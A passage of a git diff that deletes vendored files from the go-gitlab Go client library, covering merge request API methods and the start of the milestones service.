[]*Commit `json:"commits,omitempty"` - Diffs []*Diff `json:"diffs,omitempty"` -} - -func (m MergeRequestDiffVersion) String() string { - return Stringify(m) -} - -// ListMergeRequestsOptions represents the available ListMergeRequests() -// options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/merge_requests.html#list-merge-requests -type ListMergeRequestsOptions struct { - ListOptions - State *string `url:"state,omitempty" json:"state,omitempty"` - OrderBy *string `url:"order_by,omitempty" json:"order_by,omitempty"` - Sort *string `url:"sort,omitempty" json:"sort,omitempty"` - Milestone *string `url:"milestone,omitempty" json:"milestone,omitempty"` - View *string `url:"view,omitempty" json:"view,omitempty"` - Labels Labels `url:"labels,comma,omitempty" json:"labels,omitempty"` - CreatedAfter *time.Time `url:"created_after,omitempty" json:"created_after,omitempty"` - CreatedBefore *time.Time `url:"created_before,omitempty" json:"created_before,omitempty"` - UpdatedAfter *time.Time `url:"updated_after,omitempty" json:"updated_after,omitempty"` - UpdatedBefore *time.Time `url:"updated_before,omitempty" json:"updated_before,omitempty"` - Scope *string `url:"scope,omitempty" json:"scope,omitempty"` - AuthorID *int `url:"author_id,omitempty" json:"author_id,omitempty"` - AssigneeID *int `url:"assignee_id,omitempty" json:"assignee_id,omitempty"` - MyReactionEmoji *string `url:"my_reaction_emoji,omitempty" json:"my_reaction_emoji,omitempty"` - SourceBranch *string `url:"source_branch,omitempty" json:"source_branch,omitempty"` - TargetBranch *string `url:"target_branch,omitempty" json:"target_branch,omitempty"` - Search *string `url:"search,omitempty" json:"search,omitempty"` - In *string `url:"in,omitempty" json:"in,omitempty"` - WIP *string `url:"wip,omitempty" json:"wip,omitempty"` -} - -// ListMergeRequests gets all merge requests. The state parameter can be used -// to get only merge requests with a given state (opened, closed, or merged) -// or all of them (all). The pagination parameters page and per_page can be -// used to restrict the list of merge requests. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/merge_requests.html#list-merge-requests -func (s *MergeRequestsService) ListMergeRequests(opt *ListMergeRequestsOptions, options ...RequestOptionFunc) ([]*MergeRequest, *Response, error) { - req, err := s.client.NewRequest("GET", "merge_requests", opt, options) - if err != nil { - return nil, nil, err - } - - var m []*MergeRequest - resp, err := s.client.Do(req, &m) - if err != nil { - return nil, resp, err - } - - return m, resp, err -} - -// ListGroupMergeRequestsOptions represents the available ListGroupMergeRequests() -// options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/merge_requests.html#list-group-merge-requests -type ListGroupMergeRequestsOptions struct { - ListOptions - State *string `url:"state,omitempty" json:"state,omitempty"` - OrderBy *string `url:"order_by,omitempty" json:"order_by,omitempty"` - Sort *string `url:"sort,omitempty" json:"sort,omitempty"` - Milestone *string `url:"milestone,omitempty" json:"milestone,omitempty"` - View *string `url:"view,omitempty" json:"view,omitempty"` - Labels *Labels `url:"labels,omitempty" json:"labels,omitempty"` - CreatedAfter *time.Time `url:"created_after,omitempty" json:"created_after,omitempty"` - CreatedBefore *time.Time `url:"created_before,omitempty" json:"created_before,omitempty"` - UpdatedAfter *time.Time `url:"updated_after,omitempty" json:"updated_after,omitempty"` - UpdatedBefore *time.Time `url:"updated_before,omitempty" json:"updated_before,omitempty"` - Scope *string `url:"scope,omitempty" json:"scope,omitempty"` - AuthorID *int `url:"author_id,omitempty" json:"author_id,omitempty"` - AssigneeID *int `url:"assignee_id,omitempty" json:"assignee_id,omitempty"` - MyReactionEmoji *string `url:"my_reaction_emoji,omitempty" json:"my_reaction_emoji,omitempty"` - SourceBranch *string `url:"source_branch,omitempty" json:"source_branch,omitempty"` - TargetBranch *string `url:"target_branch,omitempty" json:"target_branch,omitempty"` - Search *string `url:"search,omitempty" json:"search,omitempty"` -} - -// ListGroupMergeRequests gets all merge requests for this group. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/merge_requests.html#list-group-merge-requests -func (s *MergeRequestsService) ListGroupMergeRequests(gid interface{}, opt *ListGroupMergeRequestsOptions, options ...RequestOptionFunc) ([]*MergeRequest, *Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("groups/%s/merge_requests", pathEscape(group)) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var m []*MergeRequest - resp, err := s.client.Do(req, &m) - if err != nil { - return nil, resp, err - } - - return m, resp, err -} - -// ListProjectMergeRequestsOptions represents the available ListMergeRequests() -// options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/merge_requests.html#list-project-merge-requests -type ListProjectMergeRequestsOptions struct { - ListOptions - IIDs []int `url:"iids[],omitempty" json:"iids,omitempty"` - State *string `url:"state,omitempty" json:"state,omitempty"` - OrderBy *string `url:"order_by,omitempty" json:"order_by,omitempty"` - Sort *string `url:"sort,omitempty" json:"sort,omitempty"` - Milestone *string `url:"milestone,omitempty" json:"milestone,omitempty"` - View *string `url:"view,omitempty" json:"view,omitempty"` - Labels *Labels `url:"labels,omitempty" json:"labels,omitempty"` - CreatedAfter *time.Time `url:"created_after,omitempty" json:"created_after,omitempty"` - CreatedBefore *time.Time `url:"created_before,omitempty" json:"created_before,omitempty"` - UpdatedAfter *time.Time `url:"updated_after,omitempty" json:"updated_after,omitempty"` - UpdatedBefore *time.Time `url:"updated_before,omitempty" json:"updated_before,omitempty"` - Scope *string `url:"scope,omitempty" json:"scope,omitempty"` - AuthorID *int `url:"author_id,omitempty" json:"author_id,omitempty"` - AssigneeID *int `url:"assignee_id,omitempty" json:"assignee_id,omitempty"` - MyReactionEmoji *string `url:"my_reaction_emoji,omitempty" json:"my_reaction_emoji,omitempty"` - SourceBranch *string `url:"source_branch,omitempty" json:"source_branch,omitempty"` - TargetBranch *string `url:"target_branch,omitempty" json:"target_branch,omitempty"` - Search *string `url:"search,omitempty" json:"search,omitempty"` - WIP *string `url:"wip,omitempty" json:"wip,omitempty"` -} - -// ListProjectMergeRequests gets all merge requests for this project. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/merge_requests.html#list-project-merge-requests -func (s *MergeRequestsService) ListProjectMergeRequests(pid interface{}, opt *ListProjectMergeRequestsOptions, options ...RequestOptionFunc) ([]*MergeRequest, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/merge_requests", pathEscape(project)) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var m []*MergeRequest - resp, err := s.client.Do(req, &m) - if err != nil { - return nil, resp, err - } - - return m, resp, err -} - -// GetMergeRequestsOptions represents the available GetMergeRequests() -// options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/merge_requests.html#get-single-mr -type GetMergeRequestsOptions struct { - RenderHTML *bool `url:"render_html,omitempty" json:"render_html,omitempty"` - IncludeDivergedCommitsCount *bool `url:"include_diverged_commits_count,omitempty" json:"include_diverged_commits_count,omitempty"` - IncludeRebaseInProgress *bool `url:"include_rebase_in_progress,omitempty" json:"include_rebase_in_progress,omitempty"` -} - -// GetMergeRequest shows information about a single merge request. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/merge_requests.html#get-single-mr -func (s *MergeRequestsService) GetMergeRequest(pid interface{}, mergeRequest int, opt *GetMergeRequestsOptions, options ...RequestOptionFunc) (*MergeRequest, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/merge_requests/%d", pathEscape(project), mergeRequest) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - m := new(MergeRequest) - resp, err := s.client.Do(req, m) - if err != nil { - return nil, resp, err - } - - return m, resp, err -} - -// GetMergeRequestApprovals gets information about a merge requests approvals -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/merge_request_approvals.html#merge-request-level-mr-approvals -func (s *MergeRequestsService) GetMergeRequestApprovals(pid interface{}, mergeRequest int, options ...RequestOptionFunc) (*MergeRequestApprovals, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/merge_requests/%d/approvals", pathEscape(project), mergeRequest) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - a := new(MergeRequestApprovals) - resp, err := s.client.Do(req, a) - if err != nil { - return nil, resp, err - } - - return a, resp, err -} - -// GetMergeRequestCommitsOptions represents the available GetMergeRequestCommits() -// options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/merge_requests.html#get-single-mr-commits -type GetMergeRequestCommitsOptions ListOptions - -// GetMergeRequestCommits gets a list of merge request commits. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/merge_requests.html#get-single-mr-commits -func (s *MergeRequestsService) GetMergeRequestCommits(pid interface{}, mergeRequest int, opt *GetMergeRequestCommitsOptions, options ...RequestOptionFunc) ([]*Commit, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/merge_requests/%d/commits", pathEscape(project), mergeRequest) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var c []*Commit - resp, err := s.client.Do(req, &c) - if err != nil { - return nil, resp, err - } - - return c, resp, err -} - -// GetMergeRequestChanges shows information about the merge request including -// its files and changes. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/merge_requests.html#get-single-mr-changes -func (s *MergeRequestsService) GetMergeRequestChanges(pid interface{}, mergeRequest int, options ...RequestOptionFunc) (*MergeRequest, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/merge_requests/%d/changes", pathEscape(project), mergeRequest) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - m := new(MergeRequest) - resp, err := s.client.Do(req, m) - if err != nil { - return nil, resp, err - } - - return m, resp, err -} - -// GetMergeRequestParticipants gets a list of merge request participants. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/merge_requests.html#get-single-mr-participants -func (s *MergeRequestsService) GetMergeRequestParticipants(pid interface{}, mergeRequest int, options ...RequestOptionFunc) ([]*BasicUser, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/merge_requests/%d/participants", pathEscape(project), mergeRequest) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - var ps []*BasicUser - resp, err := s.client.Do(req, &ps) - if err != nil { - return nil, resp, err - } - - return ps, resp, err -} - -// ListMergeRequestPipelines gets all pipelines for the provided merge request. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/merge_requests.html#list-mr-pipelines -func (s *MergeRequestsService) ListMergeRequestPipelines(pid interface{}, mergeRequest int, options ...RequestOptionFunc) ([]*PipelineInfo, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/merge_requests/%d/pipelines", pathEscape(project), mergeRequest) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - var p []*PipelineInfo - resp, err := s.client.Do(req, &p) - if err != nil { - return nil, resp, err - } - - return p, resp, err -} - -// GetIssuesClosedOnMergeOptions represents the available GetIssuesClosedOnMerge() -// options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/merge_requests.html#list-issues-that-will-close-on-merge -type GetIssuesClosedOnMergeOptions ListOptions - -// GetIssuesClosedOnMerge gets all the issues that would be closed by merging the -// provided merge request. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/merge_requests.html#list-issues-that-will-close-on-merge -func (s *MergeRequestsService) GetIssuesClosedOnMerge(pid interface{}, mergeRequest int, opt *GetIssuesClosedOnMergeOptions, options ...RequestOptionFunc) ([]*Issue, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/merge_requests/%d/closes_issues", pathEscape(project), mergeRequest) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var i []*Issue - resp, err := s.client.Do(req, &i) - if err != nil { - return nil, resp, err - } - - return i, resp, err -} - -// CreateMergeRequestOptions represents the available CreateMergeRequest() -// options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/merge_requests.html#create-mr -type CreateMergeRequestOptions struct { - Title *string `url:"title,omitempty" json:"title,omitempty"` - Description *string `url:"description,omitempty" json:"description,omitempty"` - SourceBranch *string `url:"source_branch,omitempty" json:"source_branch,omitempty"` - TargetBranch *string `url:"target_branch,omitempty" json:"target_branch,omitempty"` - Labels *Labels `url:"labels,comma,omitempty" json:"labels,omitempty"` - AssigneeID *int `url:"assignee_id,omitempty" json:"assignee_id,omitempty"` - AssigneeIDs []int `url:"assignee_ids,omitempty" json:"assignee_ids,omitempty"` - TargetProjectID *int `url:"target_project_id,omitempty" json:"target_project_id,omitempty"` - MilestoneID *int `url:"milestone_id,omitempty" json:"milestone_id,omitempty"` - RemoveSourceBranch *bool `url:"remove_source_branch,omitempty" json:"remove_source_branch,omitempty"` - Squash *bool `url:"squash,omitempty" json:"squash,omitempty"` - AllowCollaboration *bool `url:"allow_collaboration,omitempty" json:"allow_collaboration,omitempty"` -} - -// CreateMergeRequest creates a new merge request. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/merge_requests.html#create-mr -func (s *MergeRequestsService) CreateMergeRequest(pid interface{}, opt *CreateMergeRequestOptions, options ...RequestOptionFunc) (*MergeRequest, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/merge_requests", pathEscape(project)) - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, nil, err - } - - m := new(MergeRequest) - resp, err := s.client.Do(req, m) - if err != nil { - return nil, resp, err - } - - return m, resp, err -} - -// UpdateMergeRequestOptions represents the available UpdateMergeRequest() -// options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/merge_requests.html#update-mr -type UpdateMergeRequestOptions struct { - Title *string `url:"title,omitempty" json:"title,omitempty"` - Description *string `url:"description,omitempty" json:"description,omitempty"` - TargetBranch *string `url:"target_branch,omitempty" json:"target_branch,omitempty"` - AssigneeID *int `url:"assignee_id,omitempty" json:"assignee_id,omitempty"` - AssigneeIDs []int `url:"assignee_ids,omitempty" json:"assignee_ids,omitempty"` - Labels *Labels `url:"labels,comma,omitempty" json:"labels,omitempty"` - MilestoneID *int `url:"milestone_id,omitempty" json:"milestone_id,omitempty"` - StateEvent *string `url:"state_event,omitempty" json:"state_event,omitempty"` - RemoveSourceBranch *bool `url:"remove_source_branch,omitempty" json:"remove_source_branch,omitempty"` - Squash *bool `url:"squash,omitempty" json:"squash,omitempty"` - DiscussionLocked *bool `url:"discussion_locked,omitempty" json:"discussion_locked,omitempty"` - AllowCollaboration *bool `url:"allow_collaboration,omitempty" json:"allow_collaboration,omitempty"` -} - -// UpdateMergeRequest updates an existing project milestone. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/merge_requests.html#update-mr -func (s *MergeRequestsService) UpdateMergeRequest(pid interface{}, mergeRequest int, opt *UpdateMergeRequestOptions, options ...RequestOptionFunc) (*MergeRequest, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/merge_requests/%d", pathEscape(project), mergeRequest) - - req, err := s.client.NewRequest("PUT", u, opt, options) - if err != nil { - return nil, nil, err - } - - m := new(MergeRequest) - resp, err := s.client.Do(req, m) - if err != nil { - return nil, resp, err - } - - return m, resp, err -} - -// DeleteMergeRequest deletes a merge request. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/merge_requests.html#delete-a-merge-request -func (s *MergeRequestsService) DeleteMergeRequest(pid interface{}, mergeRequest int, options ...RequestOptionFunc) (*Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("projects/%s/merge_requests/%d", pathEscape(project), mergeRequest) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} - -// AcceptMergeRequestOptions represents the available AcceptMergeRequest() -// options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/merge_requests.html#accept-mr -type AcceptMergeRequestOptions struct { - MergeCommitMessage *string `url:"merge_commit_message,omitempty" json:"merge_commit_message,omitempty"` - SquashCommitMessage *string `url:"squash_commit_message,omitempty" json:"squash_commit_message,omitempty"` - Squash *bool `url:"squash,omitempty" json:"squash,omitempty"` - ShouldRemoveSourceBranch *bool `url:"should_remove_source_branch,omitempty" json:"should_remove_source_branch,omitempty"` - MergeWhenPipelineSucceeds *bool `url:"merge_when_pipeline_succeeds,omitempty" json:"merge_when_pipeline_succeeds,omitempty"` - SHA *string `url:"sha,omitempty" json:"sha,omitempty"` -} - -// AcceptMergeRequest merges changes submitted with MR using this API. If merge -// success you get 200 OK. If it has some conflicts and can not be merged - you -// get 405 and error message 'Branch cannot be merged'. If merge request is -// already merged or closed - you get 405 and error message 'Method Not Allowed' -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/merge_requests.html#accept-mr -func (s *MergeRequestsService) AcceptMergeRequest(pid interface{}, mergeRequest int, opt *AcceptMergeRequestOptions, options ...RequestOptionFunc) (*MergeRequest, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/merge_requests/%d/merge", pathEscape(project), mergeRequest) - - req, err := s.client.NewRequest("PUT", u, opt, options) - if err != nil { - return nil, nil, err - } - - m := new(MergeRequest) - resp, err := s.client.Do(req, m) - if err != nil { - return nil, resp, err - } - - return m, resp, err -} - -// CancelMergeWhenPipelineSucceeds cancels a merge when pipeline succeeds. If -// you don't have permissions to accept this merge request - you'll get a 401. -// If the merge request is already merged or closed - you get 405 and error -// message 'Method Not Allowed'. In case the merge request is not set to be -// merged when the pipeline succeeds, you'll also get a 406 error. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/merge_requests.html#cancel-merge-when-pipeline-succeeds -func (s *MergeRequestsService) CancelMergeWhenPipelineSucceeds(pid interface{}, mergeRequest int, options ...RequestOptionFunc) (*MergeRequest, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/merge_requests/%d/cancel_merge_when_pipeline_succeeds", pathEscape(project), mergeRequest) - - req, err := s.client.NewRequest("PUT", u, nil, options) - if err != nil { - return nil, nil, err - } - - m := new(MergeRequest) - resp, err := s.client.Do(req, m) - if err != nil { - return nil, resp, err - } - - return m, resp, err -} - -// RebaseMergeRequest automatically rebases the source_branch of the merge -// request against its target_branch. If you don’t have permissions to push -// to the merge request’s source branch, you’ll get a 403 Forbidden response. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/merge_requests.html#rebase-a-merge-request -func (s *MergeRequestsService) RebaseMergeRequest(pid interface{}, mergeRequest int, options ...RequestOptionFunc) (*Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("projects/%s/merge_requests/%d/rebase", pathEscape(project), mergeRequest) - - req, err := s.client.NewRequest("PUT", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} - -// GetMergeRequestDiffVersionsOptions represents the available -// GetMergeRequestDiffVersions() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/merge_requests.html#get-mr-diff-versions -type GetMergeRequestDiffVersionsOptions ListOptions - -// GetMergeRequestDiffVersions get a list of merge request diff versions. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/merge_requests.html#get-mr-diff-versions -func (s *MergeRequestsService) GetMergeRequestDiffVersions(pid interface{}, mergeRequest int, opt *GetMergeRequestDiffVersionsOptions, options ...RequestOptionFunc) ([]*MergeRequestDiffVersion, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/merge_requests/%d/versions", pathEscape(project), mergeRequest) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var v []*MergeRequestDiffVersion - resp, err := s.client.Do(req, &v) - if err != nil { - return nil, resp, err - } - - return v, resp, err -} - -// GetSingleMergeRequestDiffVersion get a single MR diff version -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/merge_requests.html#get-a-single-mr-diff-version -func (s *MergeRequestsService) GetSingleMergeRequestDiffVersion(pid interface{}, mergeRequest, version int, options ...RequestOptionFunc) (*MergeRequestDiffVersion, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/merge_requests/%d/versions/%d", pathEscape(project), mergeRequest, version) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - var v = new(MergeRequestDiffVersion) - resp, err := s.client.Do(req, v) - if err != nil { - return nil, resp, err - } - - return v, resp, err -} - -// SubscribeToMergeRequest subscribes the authenticated user to the given merge -// request to receive notifications. If the user is already subscribed to the -// merge request, the status code 304 is returned. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/merge_requests.html#subscribe-to-a-merge-request -func (s *MergeRequestsService) SubscribeToMergeRequest(pid interface{}, mergeRequest int, options ...RequestOptionFunc) (*MergeRequest, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/merge_requests/%d/subscribe", pathEscape(project), mergeRequest) - - req, err := s.client.NewRequest("POST", u, nil, options) - if err != nil { - return nil, nil, err - } - - m := new(MergeRequest) - resp, err := s.client.Do(req, m) - if err != nil { - return nil, resp, err - } - - return m, resp, err -} - -// UnsubscribeFromMergeRequest unsubscribes the authenticated user from the -// given merge request to not receive notifications from that merge request. -// If the user is not subscribed to the merge request, status code 304 is -// returned. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/merge_requests.html#unsubscribe-from-a-merge-request -func (s *MergeRequestsService) UnsubscribeFromMergeRequest(pid interface{}, mergeRequest int, options ...RequestOptionFunc) (*MergeRequest, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/merge_requests/%d/unsubscribe", pathEscape(project), mergeRequest) - - req, err := s.client.NewRequest("POST", u, nil, options) - if err != nil { - return nil, nil, err - } - - m := new(MergeRequest) - resp, err := s.client.Do(req, m) - if err != nil { - return nil, resp, err - } - - return m, resp, err -} - -// CreateTodo manually creates a todo for the current user on a merge request. -// If there already exists a todo for the user on that merge request, -// status code 304 is returned. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/merge_requests.html#create-a-todo -func (s *MergeRequestsService) CreateTodo(pid interface{}, mergeRequest int, options ...RequestOptionFunc) (*Todo, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/merge_requests/%d/todo", pathEscape(project), mergeRequest) - - req, err := s.client.NewRequest("POST", u, nil, options) - if err != nil { - return nil, nil, err - } - - t := new(Todo) - resp, err := s.client.Do(req, t) - if err != nil { - return nil, resp, err - } - - return t, resp, err -} - -// SetTimeEstimate sets the time estimate for a single project merge request. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/merge_requests.html#set-a-time-estimate-for-a-merge-request -func (s *MergeRequestsService) SetTimeEstimate(pid interface{}, mergeRequest int, opt *SetTimeEstimateOptions, options ...RequestOptionFunc) (*TimeStats, *Response, error) { - return s.timeStats.setTimeEstimate(pid, "merge_requests", mergeRequest, opt, options...) -} - -// ResetTimeEstimate resets the time estimate for a single project merge request. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/merge_requests.html#reset-the-time-estimate-for-a-merge-request -func (s *MergeRequestsService) ResetTimeEstimate(pid interface{}, mergeRequest int, options ...RequestOptionFunc) (*TimeStats, *Response, error) { - return s.timeStats.resetTimeEstimate(pid, "merge_requests", mergeRequest, options...) -} - -// AddSpentTime adds spent time for a single project merge request. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/merge_requests.html#add-spent-time-for-a-merge-request -func (s *MergeRequestsService) AddSpentTime(pid interface{}, mergeRequest int, opt *AddSpentTimeOptions, options ...RequestOptionFunc) (*TimeStats, *Response, error) { - return s.timeStats.addSpentTime(pid, "merge_requests", mergeRequest, opt, options...) -} - -// ResetSpentTime resets the spent time for a single project merge request. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/merge_requests.html#reset-spent-time-for-a-merge-request -func (s *MergeRequestsService) ResetSpentTime(pid interface{}, mergeRequest int, options ...RequestOptionFunc) (*TimeStats, *Response, error) { - return s.timeStats.resetSpentTime(pid, "merge_requests", mergeRequest, options...) -} - -// GetTimeSpent gets the spent time for a single project merge request. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/merge_requests.html#get-time-tracking-stats -func (s *MergeRequestsService) GetTimeSpent(pid interface{}, mergeRequest int, options ...RequestOptionFunc) (*TimeStats, *Response, error) { - return s.timeStats.getTimeSpent(pid, "merge_requests", mergeRequest, options...) -} diff --git a/vendor/github.com/xanzy/go-gitlab/milestones.go b/vendor/github.com/xanzy/go-gitlab/milestones.go deleted file mode 100644 index eb3e3a3028..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/milestones.go +++ /dev/null @@ -1,268 +0,0 @@ -// -// Copyright 2017, Sander van Harmelen -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// - -package gitlab - -import ( - "fmt" - "time" -) - -// MilestonesService handles communication with the milestone related methods -// of the GitLab API. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/milestones.html -type MilestonesService struct { - client *Client -} - -// Milestone represents a GitLab milestone. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/milestones.html -type Milestone struct { - ID int `json:"id"` - IID int `json:"iid"` - ProjectID int `json:"project_id"` - Title string `json:"title"` - Description string `json:"description"` - StartDate *ISOTime `json:"start_date"` - DueDate *ISOTime `json:"due_date"` - State string `json:"state"` - WebURL string `json:"web_url"` - UpdatedAt *time.Time `json:"updated_at"` - CreatedAt *time.Time `json:"created_at"` -} - -func (m Milestone) String() string { - return Stringify(m) -} - -// ListMilestonesOptions represents the available ListMilestones() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/milestones.html#list-project-milestones -type ListMilestonesOptions struct { - ListOptions - IIDs []int `url:"iids,omitempty" json:"iids,omitempty"` - Title *string `url:"title,omitempty" json:"title,omitempty"` - State *string `url:"state,omitempty" json:"state,omitempty"` - Search *string `url:"search,omitempty" json:"search,omitempty"` -} - -// ListMilestones returns a list of project milestones. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/milestones.html#list-project-milestones -func (s *MilestonesService) ListMilestones(pid interface{}, opt *ListMilestonesOptions, options ...RequestOptionFunc) ([]*Milestone, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/milestones", pathEscape(project)) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var m []*Milestone - resp, err := s.client.Do(req, &m) - if err != nil { - return nil, resp, err - } - - return m, resp, err -} - -// GetMilestone gets a single project milestone. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/milestones.html#get-single-milestone -func (s *MilestonesService) GetMilestone(pid interface{}, milestone int, options ...RequestOptionFunc) (*Milestone, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/milestones/%d", pathEscape(project), milestone) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - m := new(Milestone) - resp, err := s.client.Do(req, m) - if err != nil { - return nil, resp, err - } - - return m, resp, err -} - -// CreateMilestoneOptions represents the available CreateMilestone() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/milestones.html#create-new-milestone -type CreateMilestoneOptions struct { - Title *string `url:"title,omitempty" json:"title,omitempty"` - Description *string `url:"description,omitempty" json:"description,omitempty"` - StartDate *ISOTime `url:"start_date,omitempty" json:"start_date,omitempty"` - DueDate *ISOTime `url:"due_date,omitempty" json:"due_date,omitempty"` -} - -// CreateMilestone creates a new project milestone. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/milestones.html#create-new-milestone -func (s *MilestonesService) CreateMilestone(pid interface{}, opt *CreateMilestoneOptions, options ...RequestOptionFunc) (*Milestone, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/milestones", pathEscape(project)) - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, nil, err - } - - m := new(Milestone) - resp, err := s.client.Do(req, m) - if err != nil { - return nil, resp, err - } - - return m, resp, err -} - -// UpdateMilestoneOptions represents the available UpdateMilestone() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/milestones.html#edit-milestone -type UpdateMilestoneOptions struct { - Title *string `url:"title,omitempty" json:"title,omitempty"` - Description *string `url:"description,omitempty" json:"description,omitempty"` - StartDate *ISOTime `url:"start_date,omitempty" json:"start_date,omitempty"` - DueDate *ISOTime `url:"due_date,omitempty" json:"due_date,omitempty"` - StateEvent *string `url:"state_event,omitempty" json:"state_event,omitempty"` -} - -// UpdateMilestone updates an existing project milestone. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/milestones.html#edit-milestone -func (s *MilestonesService) UpdateMilestone(pid interface{}, milestone int, opt *UpdateMilestoneOptions, options ...RequestOptionFunc) (*Milestone, 